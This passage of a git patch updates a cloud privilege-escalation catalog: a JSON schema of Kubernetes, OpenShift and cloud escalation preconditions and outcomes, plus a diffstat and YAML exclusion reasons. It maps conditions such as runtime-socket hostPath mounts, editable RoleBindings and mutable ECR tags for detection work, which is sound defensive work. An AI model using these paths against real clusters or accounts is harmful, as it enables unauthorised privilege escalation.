an observed right of the selected identity and grants a concrete action the source lacks.", + "type": "string" + }, + "k8s_csr_sa_subject": { + "const": true, + "description": "A collected RBAC binding names this ServiceAccount username and resolves to a role with effective rules." + }, + "k8s_csr_same_name_path": { + "const": true, + "description": "Read and approval permissions overlap on one creatable CSR name; restricted names stay unresolved without CSR inventory." + }, + "k8s_dangling_sa_permission_gain": { + "const": true, + "description": "The missing ServiceAccount's direct binding resolves to a role with a concrete permission that the source lacks." + }, + "k8s_existing_clusterrolebinding_gain": { + "const": true, + "description": "An existing ClusterRoleBinding targets the exact ClusterRole and the source can modify that binding to gain a new cluster-wide permission." + }, + "k8s_existing_rolebinding_gain": { + "const": true, + "description": "An existing RoleBinding targets the exact Role, the source can modify that binding and bind the Role, and the Role grants a new permission." + }, + "k8s_helm_values_rbac": { + "const": true, + "description": "Reviewed exact ConfigMap-to-Helm-to-RoleBinding permission grant for the lab documented by the source." + }, + "k8s_kcc_project_policy_grant": { + "const": true, + "description": "Exact namespace RBAC can change a Config Connector project IAM resource whose configured identity can read and set that project's IAM policy." + }, + "k8s_kcc_service_account_key_path": { + "const": true, + "description": "Joined Config Connector identity and exact Google service account key creation through a namespaced Kubernetes source." + }, + "k8s_mutating_admission_policy_served": { + "const": true, + "description": "API discovery advertises both MutatingAdmissionPolicy and MutatingAdmissionPolicyBinding resources; missing resource discovery is unresolved." + }, + "k8s_node_cloud_identity": { + "const": true, + "description": "Cloud identity attached to the node (cloud facts needed)." + }, + "k8s_node_hosting_host_mount_pod_in_namespace": { + "description": "Node hosts a pod of that namespace mounting a sensitive hostPath: a container runtime socket or a node credential path (even readOnly), or a host-executed path mounted writable; /etc/kubernetes, /home, /var/lib/docker|containerd and subPath mounts match conditionally. Other hostPaths (e.g. /var/log) do not match.", + "minLength": 1, + "type": "string" + }, + "k8s_node_hosting_pod_of_source": { + "const": true, + "description": "k8s_node targets hosting a collected pod that runs as the source service account (the 'associated node')." + }, + "k8s_node_hosting_pods_in_namespace": { + "description": "Node hosts pods of that namespace.", + "minLength": 1, + "type": "string" + }, + "k8s_node_hosting_pods_with_sa": { + "const": true, + "description": "Service account is mounted by a scheduled pod (k8s_service_account) or node hosts pods (k8s_node); with a k8s_node source, the SAs of pods scheduled on that node." + }, + "k8s_node_hosting_privileged_pod_in_namespace": { + "description": "Node hosts a pod of that namespace with a privileged container (containers, initContainers or ephemeralContainers); added SYS_ADMIN / SYS_MODULE / DAC_READ_SEARCH / ALL, or SYS_PTRACE with hostPID, match conditionally. hostNetwork, hostIPC and hostPID alone do not match.", + "minLength": 1, + "type": "string" + }, + "k8s_node_schedulable": { + "const": true, + "description": "Node can be targeted by direct pod placement with spec.nodeName even when cordoned; unconfirmed readiness is conditional." + }, + "k8s_nodes_mapped_to_cloud_identity": { + "const": true, + "description": "Nodes running with the source EKS node role (instance facts) that the role is mapped to: a node access entry (EC2_LINUX/EC2_WINDOWS) = derived, no entry = conditional (aws-auth mapRoles not collected; dropped in API-only authentication mode); not evaluated without the related AWS eks_access_entry inventory." + }, + "k8s_pod_access_path": { + "description": "Join the named Running pod, its ServiceAccount, token volume/mount and the source's exact-name RBAC grant for modify_image, exec, exec_get_websocket, attach or ephemeral_container.", + "type": "string" + }, + "k8s_sa_absent_but_bound": { + "const": true, + "description": "Service account referenced by a (Cluster)RoleBinding subject but absent from the serviceaccount inventory (virtual SA node; anyone who can create it inherits the binding)." + }, + "k8s_sa_cloud_binding": { + "description": "Cloud identity bound to the source SA via irsa|eks_pod_identity|gke_workload_identity|azure_workload_identity|aks_identity_binding (cloud facts needed).", + "type": "string" + }, + "k8s_sa_has_legacy_token_secret": { + "const": true, + "description": "ServiceAccounts referenced by a kubernetes.io/service-account-token Secret in their namespace (annotation kubernetes.io/service-account.name, from secret metadata; never data)." + }, + "k8s_sa_in_namespace": { + "description": "Target service account namespace: '{source.namespace}', '{target.namespace}', '*', or a literal namespace.", + "minLength": 1, + "type": "string" + }, + "k8s_sa_missing_in_host_scc_users": { + "const": true, + "description": "OpenShift: absent service account named in a host-access SCC users[] entry in an existing namespace; missing inventory is unresolved." + }, + "k8s_sa_name": { + "anyOf": [ + { + "type": "string" + }, + { + "items": { + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Target service account name is one of the listed names." + }, + "k8s_sa_named_in_scc_users": { + "const": true, + "description": "OpenShift: service account named in a SecurityContextConstraints users[] entry (system:serviceaccount::); SA nodes only named by an SCC are virtual." + }, + "k8s_sa_namespace_absent": { + "const": true, + "description": "Service account referenced by a binding that adds a concrete permission or by a host-access SCC users[] entry whose namespace is absent from a complete namespace inventory." + }, + "k8s_sa_used_by_controller_managed_pod": { + "const": true, + "description": "Service account is used by a pod owned by a controller (ownerReferences)." + }, + "k8s_sa_used_by_interactive_pod": { + "const": true, + "description": "Service account is used by a Running pod with a running container whose stdin is enabled; whether its process accepts commands remains conditional." + }, + "k8s_sa_used_by_pending_pod": { + "const": true, + "description": "Service account of a collected pod in phase Pending with no spec.nodeName (unscheduled; a pods/binding or bindings write can place it on a node the attacker controls)." + }, + "k8s_sa_used_by_pod_consuming_configmap": { + "const": true, + "description": "Service account is used by a running pod that consumes a ConfigMap (volume, projected volume, envFrom or env valueFrom; kube-root-ca.crt ignored); always conditional because execution of the content is not verified." + }, + "k8s_sa_used_by_running_pod": { + "const": true, + "description": "Service account is used by a running pod with an available token." + }, + "k8s_secret_holds_cloud_credential": { + "anyOf": [ + { + "const": true + }, + { + "enum": [ + "aws", + "gcp", + "azure", + "any" + ] + }, + { + "items": { + "enum": [ + "aws", + "gcp", + "azure", + "any" + ] + }, + "minItems": 1, + "type": "array" + } + ], + "description": "cloud_identity targets standing for a static cloud credential stored in a Secret (one node per Secret, scope /, {target.name} = Secret name), recognised from Secret metadata only (name, labels, annotations: never data); value aws|gcp|azure|any or a list. Always conditional (content not verified)." + }, + "k8s_secret_holds_remote_cluster_credential": { + "anyOf": [ + { + "const": true + }, + { + "pattern": "^[A-Za-z0-9][A-Za-z0-9._/-]*(=[A-Za-z0-9._-]*)?$", + "type": "string" + }, + { + "items": { + "pattern": "^[A-Za-z0-9][A-Za-z0-9._/-]*(=[A-Za-z0-9._-]*)?$", + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "k8s_remote_cluster targets: Secrets whose labels match one 'key=value' (or 'key') selector; true = known markers (argocd.argoproj.io/secret-type=cluster, cluster.x-k8s.io/cluster-name with a *-kubeconfig name)." + }, + "k8s_verified_pivot": { + "description": "Unique fresh reviewed evidence binds the exact source action and object to one accepted remote principal or newly granted Kubernetes permission.", + "type": "string" + }, + "k8s_websocket_exec_get_usable": { + "const": true, + "description": "The collected Kubernetes server version is older than 1.35, when WebSocket exec could use get alone; 1.35+ requires create by default and stays unresolved if the feature gate state is not collected." + }, + "kube2iam_namespace_permits_role": { + "description": "Namespace (usually {pivot.namespace}) annotation iam.amazonaws.com/permitted (kube2iam/kiam) allows the target role (annotation facts needed).", + "minLength": 1, + "type": "string" + }, + "openshift_namespace_has_sa_with_host_scc": { + "description": "The OpenShift namespace (usually {pivot.namespace}) contains an SA allowed to use a host-level SCC (privileged / host PID / network / IPC / hostPath): from collected securitycontextconstraints users[] / groups[] and RBAC 'use' grants on security.openshift.io securitycontextconstraints. Unresolved when the SCC inventory or api_discovery is missing.", + "minLength": 1, + "type": "string" + }, + "openshift_namespace_without_scc": { + "const": true, + "description": "A fixed OpenShift default project or a collected existing namespace with openshift.io/run-level; missing namespace labels remain unresolved." + }, + "openshift_source_host_scc_path": { + "const": true, + "description": "The source can use a collected privileged or host-filesystem SCC in the same namespace where it creates a Pod, through namespace-scoped RBAC or SCC users/groups." + }, + "openshift_unlabeled_existing_namespace": { + "const": true, + "description": "The pivot namespace exists and does not yet have openshift.io/run-level; the source must also hold namespace patch/update and workload creation on that exact namespace." + }, + "resource_permission_covers_target": { + "description": "The source must also hold this action on the target resource ({target.arn}/{target.email}/{target.scope}/{target.namespace}).", + "minLength": 1, + "type": "string" + }, + "same_as_source": { + "const": true, + "description": "Target is the source itself (self-escalation); for entity kinds the source's own scope." + }, + "target_id_glob": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "items": { + "minLength": 1, + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Generic (evaluator): target node id (ARN / SA email / object id / cluster:ns:name) matches one of the case-insensitive globs (e.g. '*-compute@developer.gserviceaccount.com', 'arn:aws:iam::*:role/aws-reserved/*')." + }, + "target_name_glob": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "items": { + "minLength": 1, + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Generic (evaluator): target display name (role / user / SA / identity name) matches one of the globs." + }, + "trust_allows_k8s_sa_oidc_subject": { + "const": true, + "description": "IAM role trust allows the cluster OIDC subject of the SA (cloud facts needed)." + }, + "trust_allows_oidc_subject_wildcard": { + "description": "IAM role trust matches the given OIDC subject pattern (e.g. system:serviceaccount:{pivot.namespace}:*) on the cluster OIDC provider (cloud facts needed).", + "type": "string" + } + }, + "type": "object" + } + } + } + } + }, + "technique": { + "additionalProperties": false, + "allOf": [ + { + "if": { + "properties": { + "provider": { + "const": "aws" + } + }, + "required": [ + "provider" + ] + }, + "then": { + "$ref": "#/$defs/aws_technique" + } + }, + { + "if": { + "properties": { + "provider": { + "const": "gcp" + } + }, + "required": [ + "provider" + ] + }, + "then": { + "$ref": "#/$defs/gcp_technique" + } + }, + { + "if": { + "properties": { + "provider": { + "const": "azure" + } + }, + "required": [ + "provider" + ] + }, + "then": { + "$ref": "#/$defs/azure_technique" + } + }, + { + "if": { + "properties": { + "provider": { + "const": "k8s" + } + }, + "required": [ + "provider" + ] + }, + "then": { + "$ref": "#/$defs/k8s_technique" + } + } + ], + "properties": { + "blockers": { + "items": { + "anyOf": [ + { + "type": "string" + }, + { + "properties": { + "description": { + "type": "string" + }, + "id": { + "type": "string" + } + }, + "required": [ + "id" + ], + "type": "object" + } + ] + }, + "type": "array" + }, + "conditions": { + "description": "Documented caveats (not machine-checked; never change confidence).", + "items": { + "anyOf": [ + { + "type": "string" + }, + { + "additionalProperties": false, + "properties": { + "description": { + "type": "string" + }, + "id": { + "type": "string" + } + }, + "required": [ + "id" + ], + "type": "object" + } + ] + }, + "type": "array" + }, + "confidence": { + "enum": [ + "derived", + "conditional", + "unknown" + ] + }, + "id": { + "description": "Globally unique, kebab-case, provider-prefixed.", + "pattern": "^(aws|gcp|azure|k8s|entra)-[a-z0-9]+(?:-[a-z0-9]+)*$", + "type": "string" + }, + "mitigation": { + "pattern": "\\S", + "type": "string" + }, + "notes": { + "type": "string" + }, + "pivot_resource_type": { + "type": "string" + }, + "preconditions": { + "description": "Machine-checked preconditions (registry ids).", + "type": "array" + }, + "provider": { + "enum": [ + "aws", + "gcp", + "azure", + "k8s" + ] + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "requires": { + "type": "object" + }, + "service": { + "pattern": "\\S", + "type": "string" + }, + "severity": { + "enum": [ + "critical", + "high", + "medium", + "low", + "info" + ] + }, + "source": { + "description": "hacktricks-cloud page path (#anchor allowed).", + "pattern": "^src/", + "type": "string" + }, + "source_kind": {}, + "source_revision": { + "type": "string" + }, + "source_selector": { + "type": "object" + }, + "summary": { + "pattern": "\\S", + "type": "string" + }, + "target": { + "additionalProperties": false, + "properties": { + "aggregate_as": { + "type": "string" + }, + "grants": { + "description": "Permission / role names the outcome yields (documentation).", + "items": { + "pattern": "\\S", + "type": "string" + }, + "minItems": 1, + "type": "array" + }, + "include_service_managed": { + "type": "boolean" + }, + "kind": { + "enum": [ + "aws_account_admin", + "aws_challenge_foothold", + "aws_directory_domain_admin", + "aws_group", + "aws_identity_center_permission_set", + "aws_identity_center_user", + "aws_role", + "aws_service_plane_admin", + "aws_user", + "aws_verified_authority", + "azure_challenge_foothold", + "azure_dataplane_admin", + "azure_external_principal", + "azure_managed_identity", + "azure_scope_owner", + "azure_service_principal", + "azure_storage_local_user", + "azure_user", + "azure_verified_authority", + "cloud_identity", + "entra_group", + "entra_role", + "gcp_challenge_foothold", + "gcp_external_principal", + "gcp_group", + "gcp_scope_owner", + "gcp_service_account", + "gcp_user", + "gcp_verified_authority", + "gcp_workspace_user", + "k8s_admission_control", + "k8s_cluster_admin", + "k8s_group", + "k8s_node", + "k8s_remote_cluster", + "k8s_service_account", + "k8s_user", + "k8s_verified_authority" + ] + }, + "outcome": { + "description": "application_admin: Becomes administrator of a managed service's own application plane (not an IAM principal).; blocker_removal: Lifts an enforcement control (target.removes_blockers) that gates other techniques; reaches no principal.; bounded_authority: Evidence-bound effect on the exact non-principal target, defined only by the rule and verified facts; implies no IAM scope control, application administration, principal access, or further permissions.; credentials: Obtains credentials / tokens / a session of the target principal (keys, passwords, tokens, AssumeRole).; identity: Becomes the target principal (mechanism unspecified).; impersonation: Acts as the target through a delegation/impersonation API without holding its credentials.; membership: Becomes a member of the target group and inherits its grants.; permission_grant: The source's own permissions grow (policy/role edit or assignment); target is self or an entity.; role_activation: Activates/assigns a privileged role or permission set (PIM, Identity Center, Entra directory role).; scope_control: Gains IAM control of a scope (set IAM policy / role assignments) -> every principal of the scope.; workload_execution: Runs code inside a workload that carries the target identity (passed role, attached SA/MI).", + "enum": [ + "application_admin", + "blocker_removal", + "bounded_authority", + "credentials", + "identity", + "impersonation", + "membership", + "permission_grant", + "role_activation", + "scope_control", + "workload_execution" + ] + }, + "removes_blockers": { + "description": "k8s_admission_control: blocker ids the technique lifts.", + "items": { + "enum": [ + "abac_condition", + "access_package_approval_by_other_principal", + "admission_policy", + "admission_webhook", + "aks_entra_integration_enabled", + "aks_local_accounts_disabled", + "aks_local_accounts_enabled", + "aks_run_command_disabled", + "azure_deny_assignment", + "deny_policy", + "ecr_tag_immutability", + "explicit_deny", + "gatekeeper_constraint", + "gcp_deny_policy", + "glue_nonoverridable_arguments", + "intune_multi_admin_approval_required", + "kyverno_policy", + "lambda_code_signing_enforced", + "org_policy_constraint", + "permission_boundary", + "pim_approval_required_by_other_principal", + "pivot_namespace_psa_enforce_baseline_or_restricted", + "pod_security_admission", + "restricted_management_au", + "role_assignable_group_member_or_owner", + "role_assignment_condition_is_allowlist", + "scm_and_ftp_basic_auth_disabled", + "scp_deny", + "scp_or_boundary_deny", + "service_principal_conditional_access_block", + "sp_lock_configuration_credentials", + "target_upn_on_initial_onmicrosoft_domain", + "vpc_sc_perimeter" + ] + }, + "minItems": 1, + "type": "array" + }, + "scope": { + "enum": [ + "same_account", + "same_project", + "inherited_scope", + "same_namespace", + "cluster", + "tenant", + "org", + "any" + ] + }, + "selector": { + "type": "object" + } + }, + "required": [ + "kind" + ], + "type": "object" + }, + "title": { + "pattern": "\\S", + "type": "string" + } + }, + "required": [ + "id", + "provider", + "service", + "title", + "source", + "summary", + "requires", + "target", + "severity", + "mitigation" + ], + "type": "object" + } + }, + "$id": "https://cloud.hacktricks.wiki/schemas/privesc-technique.schema.json", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "anyOf": [ + { + "items": { + "$ref": "#/$defs/technique" + }, + "type": "array" + }, + { + "items": { + "$ref": "#/$defs/excluded" + }, + "type": "array" + }, + { + "type": "null" + } + ], + "description": "A catalog YAML file is a list of techniques (or, for _excluded*.yaml, a list of {source, reason}). Generated from peaso/privesc/schema.py; cross-field rules are enforced by validate_entry.", + "title": "Cloud privilege-escalation technique catalog file" +} From c57d6a718b393d9a7090fe873bf833644dad659e Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Thu, 22 Oct 2026 22:56:33 +0200 Subject: [PATCH 02/10] Update reviewed CSPM privilege escalation catalog --- .../aws/_excluded_a.yaml | 20 +- ...d_agentcore_bounded_surfaces_20261022.yaml | 9 + ...artifact_join_strict_reaudit_20261016.yaml | 9 +- .../aws/_excluded_audit_6fb9.yaml | 11 +- .../aws/_excluded_b.yaml | 2 +- ...unded_service_role_overclaim_20261016.yaml | 15 +- ...luded_cognito_strict_reaudit_20261016.yaml | 11 +- ...ded_config_existing_document_20261022.yaml | 5 + ...er_input_join_strict_reaudit_20261016.yaml | 20 +- ..._excluded_eks_strict_reaudit_20261016.yaml | 3 + ..._excluded_emr_legacy_editors_20261022.yaml | 9 + ...d_emrserverless_custom_image_20261022.yaml | 5 + .../_excluded_finspace_sunset_20261022.yaml | 6 + .../_excluded_gamelift_variants_20261022.yaml | 9 + .../_excluded_generated_scope_20261016.yaml | 555 ++++++++++-------- ...ric_challenge_strict_reaudit_20261016.yaml | 10 +- ...oined_tes_role_final_reaudit_20261016.yaml | 10 +- ...organizations_effective_gain_20261022.yaml | 9 + ...uded_quicksight_role_session_20261022.yaml | 5 + .../aws/_excluded_refresh_g4.yaml | 2 +- .../aws/_excluded_refresh_g5.yaml | 2 +- .../aws/_excluded_refresh_g6.yaml | 7 +- ..._scoped_credential_overclaim_20261016.yaml | 5 +- ...cluded_scoped_role_overclaim_20261016.yaml | 11 +- ...cluded_sts_federation_tokens_20261022.yaml | 9 + ..._studio_space_strict_reaudit_20261016.yaml | 10 +- ...ted_host_join_strict_reaudit_20261016.yaml | 89 +-- ...d_service_join_final_reaudit_20261016.yaml | 18 +- .../aws/_excluded_verify_a66f.yaml | 3 +- .../aws/amplify.yaml | 18 +- .../aws/apprunner.yaml | 63 ++ .../aws/appstream.yaml | 94 +++ .../aws/appsync.yaml | 45 ++ .../aws/athena.yaml | 93 +++ .../aws/batch.yaml | 33 ++ .../aws/bedrock.yaml | 114 ++-- .../aws/braket.yaml | 9 +- .../aws/cloudcontrol.yaml | 7 +- .../aws/cloudformation.yaml | 12 +- .../aws/cloudfront.yaml | 16 +- .../aws/codepipeline.yaml | 4 +- .../aws/cognito.yaml | 153 ++++- .../aws/config.yaml | 16 +- .../aws/datapipeline.yaml | 14 +- .../aws/deadline.yaml | 173 ++++-- .../aws/devicefarm.yaml | 26 +- .../aws/dynamodb.yaml | 35 ++ .../aws/ec2.yaml | 94 +-- .../aws/ecs.yaml | 123 ++-- .../aws/elasticbeanstalk.yaml | 44 +- .../aws/emr.yaml | 90 ++- .../aws/emrserverless.yaml | 34 +- .../aws/events.yaml | 9 +- .../aws/exact-principal-v5.yaml | 100 ++-- .../aws/flink.yaml | 31 + .../aws/gamelift.yaml | 57 +- .../aws/gameliftstreams.yaml | 51 +- .../aws/glue.yaml | 72 ++- .../aws/imagebuilder.yaml | 19 +- .../aws/iot.yaml | 74 ++- .../aws/lambda.yaml | 54 +- .../aws/m2.yaml | 4 +- .../aws/migrationhub.yaml | 4 +- .../aws/mldataaccess.yaml | 43 +- .../aws/mwaa.yaml | 38 +- .../aws/organizations.yaml | 11 +- .../aws/quicksight.yaml | 31 +- .../aws/sagemaker.yaml | 117 +++- .../aws/scheduler.yaml | 74 ++- .../aws/servicecatalog.yaml | 8 +- .../aws/sns.yaml | 34 ++ .../aws/sqs.yaml | 34 ++ .../aws/ssm.yaml | 62 +- .../aws/stepfunctions.yaml | 19 +- .../aws/workspaces.yaml | 4 +- ...excluded_audit_pa_az_post_persist_s06.yaml | 61 ++ .../azure/_excluded_audit_s06.yaml | 55 ++ .../azure/_excluded_ci_cd.yaml | 450 ++++++++++++++ .../azure/_excluded_crossprovider_s05.yaml | 173 ++++++ .../azure/_excluded_crossprovider_s06.yaml | 187 ++++++ .../azure/_excluded_main_reconciliation.yaml | 23 + .../azure/_excluded_pa_az_services_s01.yaml | 32 + .../azure/_excluded_rbac.yaml | 6 +- .../azure/_excluded_retired_apim_git.yaml | 6 - .../_excluded_strict_principal_boundary.yaml | 2 +- .../azure/_excluded_unauth_s07.yaml | 186 ++++++ .../azure/adjacent_principals.yaml | 65 +- .../azure/analysis_services.yaml | 2 +- .../azure/authorization.yaml | 61 +- .../azure/batch.yaml | 2 +- .../azure/data_factory.yaml | 6 +- .../azure/devtest_labs.yaml | 3 +- .../azure/entraid_governance.yaml | 13 +- .../azure/entraid_groups.yaml | 73 ++- .../azure/kubernetes.yaml | 57 +- .../azure/service_linker.yaml | 1 + .../azure/spring_apps.yaml | 2 +- .../azure/static_web_apps.yaml | 29 + .../azure/storage-local-v7.yaml | 60 +- .../azure/synapse.yaml | 2 +- .../gcp/_excluded.yaml | 256 ++++---- .../gcp/_excluded_main_reconciliation.yaml | 175 ++++++ .../gcp/accesscontextmanager.yaml | 1 + .../gcp/agentregistry.yaml | 3 +- .../gcp/apigee.yaml | 2 +- .../gcp/artifactregistry.yaml | 3 + .../gcp/beyondcorp.yaml | 1 + .../gcp/bigquery_row_policy.yaml | 5 +- .../gcp/bigtable.yaml | 1 + .../gcp/bms_external.yaml | 3 + .../gcp/bounded_access.yaml | 6 + .../gcp/cloudbuild.yaml | 75 ++- .../gcp/clouddeploy.yaml | 4 +- .../gcp/cloudfunctions.yaml | 2 +- .../gcp/cloudidentity.yaml | 5 +- .../gcp/cloudsql_external.yaml | 1 + .../gcp/cloudtasks.yaml | 4 +- .../gcp/configcontroller.yaml | 3 +- .../gcp/dialogflow.yaml | 2 + .../gcp/domains.yaml | 2 +- .../gcp/firebase_external.yaml | 4 +- .../gcp/hypercomputecluster.yaml | 2 +- .../gcp/integrations.yaml | 1 + .../gcp/monitoring.yaml | 1 + .../gcp/resource_self_grants.yaml | 192 +++--- .../gcp/resourcemanager.yaml | 102 ++-- .../gcp/run.yaml | 220 +++---- .../gcp/saasservicemgmt.yaml | 1 + .../gcp/securesourcemanager.yaml | 7 +- .../gcp/sourcerepos.yaml | 3 +- .../gcp/storage.yaml | 130 ++-- .../gcp/wif.yaml | 7 +- .../gcp/workflows.yaml | 75 ++- .../k8s/_excluded.yaml | 13 + .../k8s/_excluded_ci_cd.yaml | 16 + .../k8s/openshift.yaml | 2 +- .../k8s/rbac.yaml | 427 +++++++------- .../privesc-technique.schema.json | 222 ++++++- 138 files changed, 4705 insertions(+), 1970 deletions(-) create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_agentcore_bounded_surfaces_20261022.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_config_existing_document_20261022.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_emr_legacy_editors_20261022.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_emrserverless_custom_image_20261022.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_finspace_sunset_20261022.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_gamelift_variants_20261022.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_organizations_effective_gain_20261022.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_quicksight_role_session_20261022.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_sts_federation_tokens_20261022.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/dynamodb.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/sns.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/aws/sqs.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_pa_az_post_persist_s06.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_s06.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_ci_cd.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_crossprovider_s05.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_crossprovider_s06.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_main_reconciliation.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_pa_az_services_s01.yaml delete mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_retired_apim_git.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_unauth_s07.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/service_linker.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/azure/static_web_apps.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/_excluded_main_reconciliation.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/accesscontextmanager.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/beyondcorp.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/bigtable.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/bms_external.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/bounded_access.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/dialogflow.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/integrations.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/monitoring.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/k8s/_excluded_ci_cd.yaml diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_a.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_a.yaml index ef5e0cb3a8..c2e454b248 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_a.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_a.yaml @@ -68,7 +68,7 @@ # --- Directory Service --- - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc/README.md#aws-management-console technique: Directory console access (descriptive) - reason: Descriptive section; the escalation is modelled as aws-ds-resetuserpassword. + reason: Descriptive console-access section with no separate IAM action or resource. The directory password-reset route remains a conditional candidate until the exact directory, user and resulting authority are joined. # --- Amplify --- - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-amplify-privesc/README.md#amplifygetapp-amplifygetbranch-amplifylistapps-amplifylistbranches-amplifygetjob--read-deployment-variables-and-build-logs @@ -110,12 +110,12 @@ reason: Pure data read (plaintext env vars). - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md#mutable-private-ecr-tag-with-automatic-deployments technique: Mutable ECR tag with App Runner automatic deployments - reason: Covered by aws-ecr-push-consumed-tag (refresh boundary recorded there). + reason: Restored as aws-apprunner-mutable-ecr-autodeploy with an exact same-account repository, watched mutable tag, automatic deployment, push permissions and instance-role join. # --- Batch --- - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-batch-privesc/README.md#mutable-ecr-tag-poisoning-of-an-existing-job-definition technique: Mutable ECR tag poisoning of a job definition - reason: Covered by aws-ecr-push-consumed-tag. + reason: Replacing a mutable ECR tag does not prove that an existing Batch job definition will consume the new image or run it under a recorded role. The ECR-to-job-definition and execution joins remain unverified. # --- Chime --- - source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-chime-sdk-post-exploitation/README.md#legacy-amazon-chime-createapikey-retired @@ -285,7 +285,7 @@ reason: Data read. - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md#global-registry-hijack-via-root-pull-through-cache-rule technique: ROOT pull-through cache rule - reason: Folded into aws-ecr-createpullthroughcacherule (condition root_prefix). + reason: A ROOT prefix can affect future cache misses but does not replace existing repositories. The pull-through-cache route remains conditional on an absent repository, exact workload image path, controlled upstream and execution under a recorded role. - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md#ecrputaccountsetting-registry-policy-scope technique: ecr:PutAccountSetting (registry policy scope downgrade) reason: HackTricks documents the V2-to-V1 downgrade as no longer supported. @@ -298,7 +298,7 @@ reason: Starts a fixed stored workload; no attacker-controlled execution under the role. - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#mutable-ecr-tag-consumed-by-an-ecs-service-deployment-digest-boundary technique: Mutable ECR tag consumed by an ECS service - reason: Covered by aws-ecr-push-consumed-tag (digest boundary recorded there). + reason: ECS normally resolves an image tag to a digest for a deployment. Replacing the tag alone does not prove a service will start the new image under its task role; the exact repository, deployment trigger and task role must be joined. - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#runtime-command-overrides-with-iampassrole-and-ecsruntask technique: Runtime command overrides with iam:PassRole + ecs:RunTask reason: Duplicate of aws-ecs-passrole-runtask-overrides. @@ -307,10 +307,10 @@ reason: Owned by ssm.yaml (part B). - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#iampassrole-ec2runinstances technique: iam:PassRole + ec2:RunInstances (cross-reference) - reason: Modelled as aws-ec2-runinstances-join-ecs-cluster. + reason: The general EC2 RunInstances and PassRole route is represented separately. Joining a launched instance to an ECS cluster and reaching another task role requires cluster registration, a compatible task and an exact execution foothold; that cross-reference remains a conditional candidate. - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#backdoor-compute-in-cluster-via-ecs-anywhere-external-registration technique: ECS Anywhere EXTERNAL registration - reason: Requires iam:PassRole on task roles plus a task launch, already covered by aws-ecs-passrole-registertaskdefinition-starttask / aws-ecs-registercontainerinstance-starttask (plus ssm:CreateActivation). + reason: The task-definition and StartTask permissions are represented separately, but registering an ECS Anywhere host is not. A role edge also needs a connected, source-controlled EXTERNAL host, compatible task definition and exact task role; registration permission alone is insufficient. # --- General --- - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md @@ -320,13 +320,13 @@ # --- Merged / duplicate sections (kept for traceability) --- - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md#ssodetachmanagedpolicyfrompermissionset technique: sso:DetachManagedPolicyFromPermissionSet - reason: Merged into aws-sso-remove-permission-set-restriction (any_of group). + reason: Removing this policy grants no new rights by 